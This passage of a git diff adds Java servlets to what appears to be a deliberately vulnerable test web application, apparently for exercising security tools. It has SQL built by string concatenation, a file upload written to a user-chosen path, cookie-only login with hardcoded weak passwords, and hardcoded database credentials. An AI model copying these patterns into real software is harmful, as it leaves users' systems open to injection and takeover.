response.setContentType("text/html;charset=UTF-8"); + + // Create path components to save the file + + System.out.println("Came to processRequest1 "); + final String path = request.getParameter("destination"); + System.out.println("Came to processRequest2"); + + final Part filePart = request.getPart("file"); + System.out.println("Came to processRequest3"); + + final String fileName = getFileName(filePart); + System.out.println("Came to processRequest4"); + + + OutputStream out = null; + InputStream filecontent = null; + final PrintWriter writer = response.getWriter(); + + try { + out = new FileOutputStream(new File(path + File.separator + + fileName)); + filecontent = filePart.getInputStream(); + + int read = 0; + final byte[] bytes = new byte[1024]; + + while ((read = filecontent.read(bytes)) != -1) { + out.write(bytes, 0, read); + } + writer.println("New file " + fileName + " created at " + path); + LOGGER.log(Level.INFO, "File{0}being uploaded to {1}", + new Object[]{fileName, path}); + } catch (FileNotFoundException fne) { + writer.println("You either did not specify a file to upload or are " + + "trying to upload a file to a protected or nonexistent " + + "location."); + writer.println("
ERROR: " + fne.getMessage()); + + LOGGER.log(Level.SEVERE, "Problems during file upload. Error: {0}", + new Object[]{fne.getMessage()}); + } finally { + if (out != null) { + out.close(); + } + if (filecontent != null) { + filecontent.close(); + } + if (writer != null) { + writer.close(); + } + } + } + + private String getFileName(final Part part) { + final String partHeader = part.getHeader("content-disposition"); + LOGGER.log(Level.INFO, "Part Header = {0}", partHeader); + for (String content : part.getHeader("content-disposition").split(";")) { + if (content.trim().startsWith("filename")) { + return content.substring( + content.indexOf('=') + 1).trim().replace("\"", ""); + } + } + return null; + } +} diff --git a/src/main/java/com/endor/GetInputStreamInnerTest.java b/src/main/java/com/endor/GetInputStreamInnerTest.java new file mode 100644 index 0000000..bb5c2a6 --- /dev/null +++ b/src/main/java/com/endor/GetInputStreamInnerTest.java @@ -0,0 +1,201 @@ +package com.endor; + + +import javax.servlet.ServletException; +import javax.servlet.ServletInputStream; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.PrintWriter; +import java.sql.*; + +@WebServlet(urlPatterns={"/GetInputStreamInnerTest"}) +public class GetInputStreamInnerTest extends HttpServlet { + + boolean isPost = false; + protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + isPost = true; + System.out.println("In Post request method"); + doGet(request, response); + } + + @Override + protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + PrintWriter out = null; + System.out.println("request.getContentType() = " + request.getContentType()); + try { + out = response.getWriter(); + } catch (Exception e) { + e.printStackTrace(); + } + HtmlUtil.printHtmlHeader(response); + HtmlUtil.startBody(response); + HtmlUtil.printMenu(response); + HtmlUtil.openTable(response); + HtmlUtil.openRow(response); + HtmlUtil.openCol(response); + HtmlUtil.printCurrentTitle("SQL", response); + String form = "
" + + "This URL is testing multi leg features
" + + "--------------------------------------

"+ "
"; + out.println(form); + HtmlUtil.closeCol(response); + + String retVal = "Failed!"; + //PreparedStatement execution with input parameter + int len = request.getContentLength(); + if (len > 0) { + byte[] input = new byte[len]; + //System.out.println("length of input" + len); + + String last = request.getParameter("last"); + String pass = request.getParameter("pass"); + String multileg = request.getParameter("multileg"); + + System.out.println("\nlast=" +last+ "\npass=" +pass+ "\nmultileg=" +multileg); + + if(multileg.equalsIgnoreCase("prepared_statement") && executeSQLHelper(last, pass)) { + retVal = "Succeeded"; + } + + else if(multileg.equalsIgnoreCase("stored_procedure") && getCustomersStoredProc(last, pass)) { + retVal = "Succeeded"; + } + + HtmlUtil.openCol(response); + out.println("

SQL execution for Input Parameter " + retVal + "

"); + HtmlUtil.closeCol(response); + } + + if (retVal.equalsIgnoreCase("Succeeded")){ + retVal = HttpURLConnectionExample.sendGET(); + } + + HtmlUtil.closeRow(response); + HtmlUtil.closeTable(response); + out.println(""); + out.println(""); + } + + //private static final long serialVersionUID = 1L; + static String connectionUrl = ""; + static String dbUser = ""; + static String dbPassword = ""; + static String dbType = ""; + static String DB_TYPE_ORACLE = "Oracle"; + + /** + * @see HttpServlet#HttpServlet() + */ + + @Override + public void init() throws ServletException { + super.init(); + connectionUrl =System.getProperty("endor_connection_url", "jdbc:oracle:thin:@10.0.22.108:1521:XE"); + dbUser =System.getProperty("endor_db_user", "sys as sysdba"); + dbPassword =System.getProperty("endor_db_password", "Psmo0601"); + dbType =System.getProperty("endor_db_type", DB_TYPE_ORACLE); + + } + + private Connection connect() { + Connection conn = null; + try { + // Create database connection + conn = DriverManager.getConnection(connectionUrl, dbUser, dbPassword); + System.out.println("DB Connection established"); + } catch (Exception e) { + System.err.println("ERROR: failed to connect DB"); + e.printStackTrace(); + return null; + } + return conn; + } + + public boolean executeSQLHelper(String name, String pass) { + boolean retVal = false; + Connection conn = connect(); + if (conn == null) + return false; + + try { + StringBuffer sbuf = new StringBuffer(); + String query = new String(); + query = "select FIRST, LAST from CUSTOMERS WHERE LAST=\'" + name + "\' AND PASSWORD= \'" + pass + "\'"; + System.out.println("Multileg PreparedStatementQUERY:" + query); + PreparedStatement stmt = conn.prepareStatement(query); + ResultSet rs = stmt.executeQuery(); + // Loop through the data and print all artist names + while (rs.next()) { + sbuf.append("Customer Name: " + rs.getString("FIRST") + " " + rs.getString("LAST")); + System.out.println("Customer Name: " + rs.getString("FIRST") + " " + rs.getString("LAST")); + sbuf.append("
"); + retVal = sbuf.toString().length() > 2; + } + // Clean up + stmt.close(); + rs.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + } + } + return retVal; + } + + public boolean getCustomersStoredProc(String name, String pass) { + Connection conn = connect(); + if (conn == null) + return false; + Statement stmt = null; + try { + stmt = conn.createStatement(); + } catch (SQLException e) { + e.printStackTrace(); + } + int output = 0; + boolean hasResults = false; + try { + // close the statement as its not a callable statement + stmt.close(); + String query; + CallableStatement c = null; + + query = "{call verifyuser(?,?,?)}"; + c = conn.prepareCall(query); + c.setString(1, name); + c.setString(2, pass); + c.registerOutParameter(3, Types.INTEGER); + System.out.println("Multihub DB stored Proc being called"); + System.out.println(query); + c.execute(); + output = c.getInt(3); + System.out.println("Customer Count: " + output); + + //c.executeQuery(); + // Loop through the data and print all artist names + // Clean up + c.close(); + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + return output > 0; + } +} + diff --git a/src/main/java/com/endor/GetInputStreamTest.java b/src/main/java/com/endor/GetInputStreamTest.java new file mode 100644 index 0000000..2dfc795 --- /dev/null +++ b/src/main/java/com/endor/GetInputStreamTest.java @@ -0,0 +1,109 @@ +package com.endor; + +import javax.servlet.ServletException; +import javax.servlet.ServletInputStream; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.PrintWriter; + +@WebServlet(urlPatterns={"/GetInputStreamTest"}) +public class GetInputStreamTest extends HttpServlet { + + boolean isPost = false; + protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + isPost = true; + System.out.println("In Post request method"); + doGet(request, response); + } + + private static final String POST_URL_GET_PARAMETER = "http://localhost:8080/endor-webapp/GetInputStreamInnerTest"; + + @Override + protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + PrintWriter out = null; + System.out.println("request.getContentType() = " + request.getContentType()); + try { + out = response.getWriter(); + } catch (Exception e) { + e.printStackTrace(); + } + HtmlUtil.printHtmlHeader(response); + HtmlUtil.startBody(response); + HtmlUtil.printMenu(response); + HtmlUtil.openTable(response); + HtmlUtil.openRow(response); + HtmlUtil.openCol(response); + + StringBuilder form = new StringBuilder(); + form.append("

") + .append("last: ") + .append("

") + .append("pass: ") + .append("

") + .append("") + .append("") + .append("

") + + .append("" + "
"); + out.println(form); + + int len = request.getContentLength(); + System.out.println("request.getContentLength() = " + request.getContentLength()); + if (len > 0) { + isPost = false; + System.out.println("In Post request condition"); + byte[] input = new byte[len]; + //System.out.println("length of input" + len); + + ServletInputStream sin = request.getInputStream(); + int c, count = 0 ; + while ((c = sin.read(input, count, input.length-count)) != -1) { + count +=c; + } + sin.close(); + + String inString = new String(input); + int index = inString.indexOf("&"); + String lastvalue = inString.substring(0,index); + String restvalue = inString.substring(index+1); + index = restvalue.indexOf("&"); + String passvalue = restvalue.substring(0,index); + String multileg_value = restvalue.substring(index+1); + + index = lastvalue.indexOf("="); + String last = lastvalue.substring(index+1); + + index = passvalue.indexOf("="); + String pass = passvalue.substring(index+1); + + index = multileg_value.indexOf("="); + String multileg = multileg_value.substring(index+1); + + int responseCode = HttpURLConnectionExample.sendPOSTwithParameter(last, pass, multileg, POST_URL_GET_PARAMETER); + + out.println("

Got response code for GetInputStreamInnerTest " + responseCode + "

"); + + System.out.println("last=" + last); + System.out.println("pass=" + pass); + System.out.println("multileg=" + multileg); + } + + HtmlUtil.closeCol(response); + HtmlUtil.openCol(response); + HtmlUtil.closeCol(response); + HtmlUtil.closeRow(response); + HtmlUtil.closeTable(response); + String scriptTag = ""; + out.println(scriptTag); + out.println(""); + out.println(""); + } +} + diff --git a/src/main/java/com/endor/HtmlUtil.java b/src/main/java/com/endor/HtmlUtil.java new file mode 100644 index 0000000..0004ee7 --- /dev/null +++ b/src/main/java/com/endor/HtmlUtil.java @@ -0,0 +1,146 @@ +package com.endor; + +import javax.servlet.http.HttpServletResponse; +import java.io.PrintWriter; + +public class HtmlUtil { + static String title = "ENDOR LABS Webapp"; + + public static void printMenu(HttpServletResponse response) { + printMenuWithPrefix(response, ""); + } + + public static void printClothingShopMenu(HttpServletResponse response) { + printMenuWithPrefix(response, "../"); + } + + public static void printMenuWithPrefix(HttpServletResponse response, String relativePath) { + try { + PrintWriter out = response.getWriter(); + StringBuffer menu = new StringBuffer(); + menu.append("  "); + menu.append("

"); + menu.append("  "); + menu.append("SQL"); + menu.append("         "); + menu.append("WebShell"); + menu.append("         "); + menu.append("Os Command"); + menu.append("         "); + menu.append("SSRF"); + menu.append("         "); + menu.append("Deserialization"); + menu.append("         "); + menu.append("ELExpression"); + menu.append("         "); + menu.append("XmlXXE"); + menu.append("         "); + menu.append("CookieTest"); + menu.append("         "); + menu.append("HttpTrace"); + menu.append("
"); + menu.append("  "); + menu.append("
"); + out.println(menu); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static void openTable(HttpServletResponse response) { + try { + PrintWriter out = response.getWriter(); + out.println(""); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static void closeTable(HttpServletResponse response) { + try { + PrintWriter out = response.getWriter(); + out.println("
"); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static void openRow(HttpServletResponse response) { + try { + PrintWriter out = response.getWriter(); + out.println(""); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static void closeRow(HttpServletResponse response) { + try { + PrintWriter out = response.getWriter(); + out.println(""); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static void openCol(HttpServletResponse response) { + try { + PrintWriter out = response.getWriter(); + out.println(""); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static void closeCol(HttpServletResponse response) { + try { + PrintWriter out = response.getWriter(); + out.println(""); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static void printCurrentTitle(String title, HttpServletResponse response) { + try { + PrintWriter out = response.getWriter(); + out.println("


" + title + "




"); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static void startBody(HttpServletResponse response) { + try { + PrintWriter out = response.getWriter(); + out.println(""); + out.println("

" + HtmlUtil.title + "

"); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static void printHtmlHeader(HttpServletResponse response) { + try { + response.setContentType("text/html"); + response.setCharacterEncoding("UTF-8"); + PrintWriter out = response.getWriter(); + out.println(""); + out.println(""); + //String form = "

" + + //"
" + + //"" + + // "" + + // " " + ""; + //+ "
"; + //"" + ""; + // out.println(form); + out.println(""); + out.println("" + HtmlUtil.title + ""); + out.println(""); + } catch (Exception e) { + e.printStackTrace(); + } + } +} diff --git a/src/main/java/com/endor/HttpTrace.java b/src/main/java/com/endor/HttpTrace.java new file mode 100644 index 0000000..5f66184 --- /dev/null +++ b/src/main/java/com/endor/HttpTrace.java @@ -0,0 +1,90 @@ +package com.endor; + +import java.io.IOException; +import java.io.PrintWriter; + +import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; + +/** + * Servlet implementation class HttpTrace + */ +@WebServlet(name = "HttpTrace") +public class HttpTrace extends HttpServlet { + + + public HttpTrace() { + super(); + // TODO Auto-generated constructor stub + } + + /** + * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response) + */ + protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + // TODO Auto-generated method stub + + PrintWriter out = null; + try { + out = response.getWriter(); + } catch (Exception e) { + e.printStackTrace(); + } + + HtmlUtil.printHtmlHeader(response); + HtmlUtil.startBody(response); + HtmlUtil.printMenu(response); + HtmlUtil.openTable(response); + HtmlUtil.openRow(response); + HtmlUtil.openCol(response); + HtmlUtil.printCurrentTitle("Http Tracing", response); + + String form = "
" + + "Http Tracing
" + + "--------------------------------------

"+ + ": Enable Http Tracing
" + + "" + "
"; + out.println(form); + + String sqltype = request.getParameter("enabled"); + String retVal = "Failed"; + if(!sqltype.isEmpty()) { + retVal = "Succeeded"; + } + + + HtmlUtil.closeCol(response); + HtmlUtil.openCol(response); + if (retVal.equalsIgnoreCase("Succeeded")){ + retVal = HttpURLConnectionExample.sendTRACE(); + } + out.println("

Http Tracing Successful" + "

"); + HtmlUtil.closeCol(response); + HtmlUtil.closeRow(response); + HtmlUtil.closeTable(response); + out.println(""); + out.println(""); + + //doTrace(request,response); + + //response.getWriter().append("Served at: ").append(request.getContextPath()); + } + + /** + * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response) + */ + protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + // TODO Auto-generated method stub + doGet(request, response); + } + + protected void doTrace(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + // TODO Auto-generated method stub + System.out.println("Success"); + } + +} diff --git a/src/main/java/com/endor/HttpURLConnectionExample.java b/src/main/java/com/endor/HttpURLConnectionExample.java new file mode 100644 index 0000000..12da576 --- /dev/null +++ b/src/main/java/com/endor/HttpURLConnectionExample.java @@ -0,0 +1,222 @@ +package com.endor; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.OutputStream; +import java.net.HttpURLConnection; +import java.net.URL; +import java.lang.reflect.Field; + +public class HttpURLConnectionExample { + + private static final String USER_AGENT = "Mozilla/5.0"; + + private static final String GET_URL = "http://localhost:8080"; + + //private static final String POST_URL = "http://localhost:9090/SpringMVCExample/home"; + private static final String POST_URL = "http://localhost:8080/endor-webapp/ExtraServlet"; + + private static final String POST_PARAMS = "userName=Pankaj"; + + public static void main(String[] args) throws IOException { + + sendGET(); + System.out.println("GET DONE"); + // sendPOST(); + System.out.println("POST DONE"); + } + + public static String sendGET() throws IOException { + URL obj = new URL(GET_URL); + HttpURLConnection con = (HttpURLConnection) obj.openConnection(); + con.setRequestMethod("GET"); + con.setRequestProperty("User-Agent", USER_AGENT); + int responseCode = con.getResponseCode(); + System.out.println("GET Response Code :: " + responseCode); + if (responseCode == HttpURLConnection.HTTP_OK) { // success + BufferedReader in = new BufferedReader(new InputStreamReader( + con.getInputStream())); + String inputLine; + StringBuffer response = new StringBuffer(); + + while ((inputLine = in.readLine()) != null) { + response.append(inputLine); + } + in.close(); + + // print result + System.out.println(response.toString()); + return response.toString(); + + } else { + System.out.println("GET request fa worked"); + return "Request Failed!!"; + } + + } + + public static void sendPOST() throws IOException { + URL obj = new URL(POST_URL); + HttpURLConnection con = (HttpURLConnection) obj.openConnection(); + con.setRequestMethod("POST"); + con.setRequestProperty("User-Agent", USER_AGENT); + + // For POST only - START + con.setDoOutput(true); + OutputStream os = con.getOutputStream(); + os.write(POST_PARAMS.getBytes()); + os.flush(); + os.close(); + // For POST only - END + + int responseCode = con.getResponseCode(); + System.out.println("POST Response Code :: " + responseCode); + + if (responseCode == HttpURLConnection.HTTP_OK) { //success + BufferedReader in = new BufferedReader(new InputStreamReader( + con.getInputStream())); + String inputLine; + StringBuffer response = new StringBuffer(); + + while ((inputLine = in.readLine()) != null) { + response.append(inputLine); + } + in.close(); + + // print result + System.out.println(response.toString()); + } else { + System.out.println("POST request not worked"); + } + } + + public static void sendPOSTwithParameter(String last, String pass, String multileg) throws IOException { + + URL obj = new URL(POST_URL); + + // For POST only - START + String POST_PARAMS = "last="+last+"&pass="+pass+"&multileg="+multileg; + HttpURLConnection con = (HttpURLConnection) obj.openConnection(); + con.setRequestMethod("POST"); + con.setRequestProperty("User-Agent", USER_AGENT); + con.setDoOutput(true); + OutputStream os = con.getOutputStream(); + os.write(POST_PARAMS.getBytes()); + os.flush(); + os.close(); + // For POST only - END + + int responseCode = con.getResponseCode(); + System.out.println("POST Response Code :: " + responseCode); + + if (responseCode == HttpURLConnection.HTTP_OK) { //success + BufferedReader in = new BufferedReader(new InputStreamReader( + con.getInputStream())); + String inputLine; + StringBuffer response = new StringBuffer(); + + while ((inputLine = in.readLine()) != null) { + response.append(inputLine); + } + in.close(); + + // print result + System.out.println(response.toString()); + } else { + System.out.println("POST request not worked"); + } + } + + public static int sendPOSTwithParameter(String last, String pass, String multileg, String url) throws IOException { + + URL obj = new URL(url); + + // For POST only - START + String POST_PARAMS = "last="+last+"&pass="+pass+"&multileg="+multileg; + HttpURLConnection con = (HttpURLConnection) obj.openConnection(); + con.setRequestMethod("POST"); + con.setRequestProperty("User-Agent", USER_AGENT); + con.setDoOutput(true); + OutputStream os = con.getOutputStream(); + os.write(POST_PARAMS.getBytes()); + os.flush(); + os.close(); + // For POST only - END + + int responseCode = con.getResponseCode(); + System.out.println("POST Response Code :: " + responseCode); + + if (responseCode == HttpURLConnection.HTTP_OK) { //success + BufferedReader in = new BufferedReader(new InputStreamReader( + con.getInputStream())); + String inputLine; + StringBuffer response = new StringBuffer(); + + while ((inputLine = in.readLine()) != null) { + response.append(inputLine); + } + in.close(); + + // print result + // System.out.println(response.toString()); + } else { + System.out.println("POST request not worked"); + } + return responseCode; + } + + public static String sendTRACE() throws IOException { + String TRACE_URL = "http://localhost:8080/endor-webapp/httptrace"; + URL obj = new URL(TRACE_URL); + HttpURLConnection con = (HttpURLConnection) obj.openConnection(); + con.setRequestMethod("TRACE"); + + /* + final Object target; + try { + + if (con instanceof HttpURLConnection) { + Field delegate = HttpURLConnection.class.getDeclaredField("delegate"); + delegate.setAccessible(true); + target = delegate.get(con); + } else { + target = con; + } + final Field f = HttpURLConnection.class.getDeclaredField("method"); + f.setAccessible(true); + f.set(target, "TRACE"); + } catch (IllegalAccessException | NoSuchFieldException ex) { + throw new AssertionError(ex); + }*/ + + con.setRequestProperty("User-Agent", USER_AGENT); + int responseCode = con.getResponseCode(); + System.out.println("TRACE Response Code :: " + responseCode); + if (responseCode == HttpURLConnection.HTTP_OK) { // success + BufferedReader in = new BufferedReader(new InputStreamReader( + con.getInputStream())); + String inputLine; + StringBuffer response = new StringBuffer(); + + while ((inputLine = in.readLine()) != null) { + response.append(inputLine); + } + in.close(); + + // print result + System.out.println(response.toString()); + return response.toString(); + + } else { + System.out.println("TRACE request fa worked"); + return "Request Failed!!"; + } + + } + + private void setRequestMethod(final HttpURLConnection c, final String value) { + + } + +} diff --git a/src/main/java/com/endor/Login.java b/src/main/java/com/endor/Login.java new file mode 100644 index 0000000..307ff32 --- /dev/null +++ b/src/main/java/com/endor/Login.java @@ -0,0 +1,99 @@ +package com.endor; + +import java.io.IOException; +import java.io.PrintWriter; +import java.util.HashMap; + +import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; + +@WebServlet("/clothing-shop/login") +public class Login extends HttpServlet { + private static final long serialVersionUID = 1L; + + public Login() { + super(); + } + + protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + HttpSession session = request.getSession(); + + PrintWriter out = null; + try { + out = response.getWriter(); + } catch (Exception e) { + e.printStackTrace(); + } + + HtmlUtil.printHtmlHeader(response); + HtmlUtil.startBody(response); + HtmlUtil.printClothingShopMenu(response); + HtmlUtil.openTable(response); + HtmlUtil.openRow(response); + HtmlUtil.openCol(response); + HtmlUtil.printCurrentTitle("Login Page", response); + + String form = "
" + + "--------------------------------------

"+ + "User ID:

" + + "Password:

" + + + "" + "
"; + out.println(form); + String retVal = ""; + String username = request.getParameter("username"); + String password = request.getParameter("password"); + + HashMap hash_map = new HashMap<>(); + hash_map.put("app-admin1", "password"); + hash_map.put("app-admin2", "password"); + hash_map.put("app-admin3", "password"); + hash_map.put("app-admin4", "password"); + hash_map.put("app-admin5", "password"); + hash_map.put("app-admin6", "password"); + hash_map.put("app-user1", "password"); + hash_map.put("app-user2", "password"); + hash_map.put("app-user3", "password"); + hash_map.put("app-user4", "password"); + hash_map.put("app-user5", "password"); + hash_map.put("app-user6", "password"); + + if(username.isEmpty() || password.isEmpty()) { + out.println("Enter username and password."); + return; + } + + if(hash_map.containsKey(username) && hash_map.get(username).equals(password)){ + Cookie loginCookie = new Cookie("username",username); + // setting cookie to expiry in 30 mins + loginCookie.setMaxAge(30*60); + response.addCookie(loginCookie); + out.println(" User Name or Password are Correct...Redirecting..."); + + response.sendRedirect("LoginSuccess"); + retVal = "Succeeded"; + } else { + retVal = "Failed"; + out.println("Either user name or password is wrong."); + } + + HtmlUtil.closeCol(response); + HtmlUtil.openCol(response); + out.println("

Login Process " + retVal + "

"); + HtmlUtil.closeCol(response); + HtmlUtil.closeRow(response); + HtmlUtil.closeTable(response); + out.println(""); + out.println(""); + } + + protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + // TODO Auto-generated method stub + doGet(request, response); + } +} diff --git a/src/main/java/com/endor/LoginSuccess.java b/src/main/java/com/endor/LoginSuccess.java new file mode 100644 index 0000000..9865b38 --- /dev/null +++ b/src/main/java/com/endor/LoginSuccess.java @@ -0,0 +1,75 @@ +package com.endor; + +import java.io.IOException; +import java.io.PrintWriter; + +import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +@WebServlet("/clothing-shop/LoginSuccess") +public class LoginSuccess extends HttpServlet { + private static final long serialVersionUID = 1L; + + protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + PrintWriter out = null; + try { + out = response.getWriter(); + } catch (Exception e) { + e.printStackTrace(); + } + + HtmlUtil.printHtmlHeader(response); + HtmlUtil.startBody(response); + HtmlUtil.printClothingShopMenu(response); + HtmlUtil.openTable(response); + HtmlUtil.openRow(response); + HtmlUtil.openCol(response); + HtmlUtil.printCurrentTitle("Login Success Page", response); + + StringBuilder form = new StringBuilder(); + form.append("

") + .append("This URL is fetching records from employee_details table
") + .append("--------------------------------------

") + .append("") + .append("") + .append("

") + .append("" + "
"); + out.println(form); + + // allow access only if session exists + String username = null; + Cookie[] cookies = request.getCookies(); + if(cookies != null) { + for(Cookie cookie : cookies) { + if(cookie.getName().equals("username")) username = cookie.getValue(); + } + } + + out.println(" Hi " + username + " your session id is: " + request.getSession().getId() + ""); + + out.println("

"); + out.print("
"); + + String retVal = "Succeeded"; + HtmlUtil.closeCol(response); + HtmlUtil.openCol(response); + out.println("

Login " + retVal + "

"); + HtmlUtil.closeCol(response); + HtmlUtil.closeRow(response); + HtmlUtil.closeTable(response); + out.println(""); + out.println(""); + } + + protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + doGet(request, response); + } +} diff --git a/src/main/java/com/endor/Logout.java b/src/main/java/com/endor/Logout.java new file mode 100644 index 0000000..c50bb94 --- /dev/null +++ b/src/main/java/com/endor/Logout.java @@ -0,0 +1,22 @@ +package com.endor; + +import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import javax.servlet.http.HttpServlet; +import java.io.IOException; + +@WebServlet("/clothing-shop/logout") +public class Logout extends HttpServlet { + private static final long serialVersionUID = 1L; + + protected void doGet (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + HttpSession session = request.getSession(); + if(session != null){ + session.invalidate(); + } + response.sendRedirect("login"); + } +} diff --git a/src/main/java/com/endor/NewSQLExitServlet.java b/src/main/java/com/endor/NewSQLExitServlet.java new file mode 100644 index 0000000..a8025db --- /dev/null +++ b/src/main/java/com/endor/NewSQLExitServlet.java @@ -0,0 +1,202 @@ +package com.endor; + + +import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.PrintWriter; +import java.sql.Connection; +import java.sql.DriverManager; +import java.sql.PreparedStatement; +import java.sql.SQLException; +import java.util.UUID; +import java.util.concurrent.atomic.AtomicInteger; + +@WebServlet(name = "NewSQLExitServlet") +public class NewSQLExitServlet extends HttpServlet { + static AtomicInteger totalNewDNAsInThisRun = new AtomicInteger(0); + static AtomicInteger totalDNAsCreated =new AtomicInteger(0); + static int finalDnaCount = 0; + static String connectionUrl = ""; + static String dbUser = ""; + static String dbPassword = ""; + static String dbType = ""; + static String DB_TYPE_ORACLE = "Oracle"; + + @Override + public void init() throws ServletException { + super.init(); + connectionUrl =System.getProperty("endor_connection_url", "jdbc:oracle:thin:@10.0.22.108:1521:XE"); + dbUser =System.getProperty("endor_db_user", "sys as sysdba"); + dbPassword =System.getProperty("endor_db_password", "Psmo0601"); + dbType =System.getProperty("endor_db_type", DB_TYPE_ORACLE); + + } + + protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + doPost(request, response); + } + + protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + PrintWriter out = null; + try { + out = response.getWriter(); + } catch (Exception e) { + e.printStackTrace(); + } + HtmlUtil.printHtmlHeader(response); + HtmlUtil.startBody(response); + HtmlUtil.printMenu(response); + HtmlUtil.openTable(response); + HtmlUtil.openRow(response); + HtmlUtil.openCol(response); + HtmlUtil.printCurrentTitle("SQL - Creates new exit DNA per request", response); + + String form = "
" + + "DNA count:

" + + "First name:

" + + "Last name:

" + + "Password:


" + + +// "SQL query Statement: <-- Not used

" + + "

" + + "" + "
"; + out.println(form); + HtmlUtil.closeCol(response); + HtmlUtil.openCol(response); + + String first = request.getParameter("first"); + String last = request.getParameter("name"); + String pass = request.getParameter("password"); + String dnaCount = request.getParameter("dnacount"); + String retVal = "Failed!"; + if (last != null && pass != null && last.length()>0 && pass.length() >0) { + setDnaCont(dnaCount); + if (getCustomersPreparedStatementExecuteNewExit(last, pass)) { + retVal = "Succeeded"; + } + if (retVal.equalsIgnoreCase("Succeeded")) { + retVal = HttpURLConnectionExample.sendGET(); + } + out.println("

SQL execution " + retVal + "

"); + } else{ + out.println("Enter last name and password"); + } + HtmlUtil.closeCol(response); + HtmlUtil.closeRow(response); + HtmlUtil.closeTable(response); + out.println(""); + out.println(""); + + } + + private void setDnaCont(String dnaCount) { + if (dnaCount != null && dnaCount.length() >0){ + try{ + int count = Integer.parseInt(dnaCount); + totalNewDNAsInThisRun.set(count); + finalDnaCount = totalNewDNAsInThisRun.get(); + } catch (Exception e){} + } + } + + + public boolean getCustomersPreparedStatementExecuteNewExit(String name, String pass) { + Connection conn = connect(); + boolean hasResults = false; + if (conn == null) + return false; + PreparedStatement stmt = null; + try { + String comment = " /* Random Comment:" + UUID.randomUUID() + " */"; + String query = "SELECT FIRST, LAST from CUSTOMERS WHERE LAST = ? AND PASSWORD = ?"; + int curVal = totalDNAsCreated.get(); + if (curVal < finalDnaCount) { + query += comment; + totalDNAsCreated.incrementAndGet(); + } else { + System.out.println("QUERY At Max DNA Value :" + query); + } + stmt = conn.prepareStatement(query); + } catch (SQLException e) { + e.printStackTrace(); + } + int output = 0; + try { + stmt.setString(1, name); + stmt.setString(2, pass); + // System.out.println("PreparedStatement.execute being called with Last=" + name + " Password=" + pass); + hasResults = stmt.execute(); + // Loop through the data and print all artist names + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + stmt.close(); + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + return hasResults; + } + + /** Shiva use the following java system properties instead of new connection function. + -Dendor_connection_url="jdbc:postgresql://localhost:5432/sqlinject?sslmode=disable" + -Dendor_db_user="postgres" + -Dendor_db_password=""Psqlpsmo@1" + -Dendor_db_type="Postgress" + */ + private Connection connectpsql() { + Connection conn = null; + try { + // Create database connection + String dbURL = "jdbc:postgresql://localhost:5432/sqlinject?sslmode=disable"; + String user = "postgres"; + String password = "Psqlpsmo@1"; + conn = DriverManager.getConnection(dbURL, user, password); + System.out.println("DB Connection established"); + } catch (Exception e) { + System.err.println("ERROR: failed to connect postgres SQL."); + e.printStackTrace(); + return null; + } + return conn; + } + + + /** Shiva use java system properties instead of new connection function. + 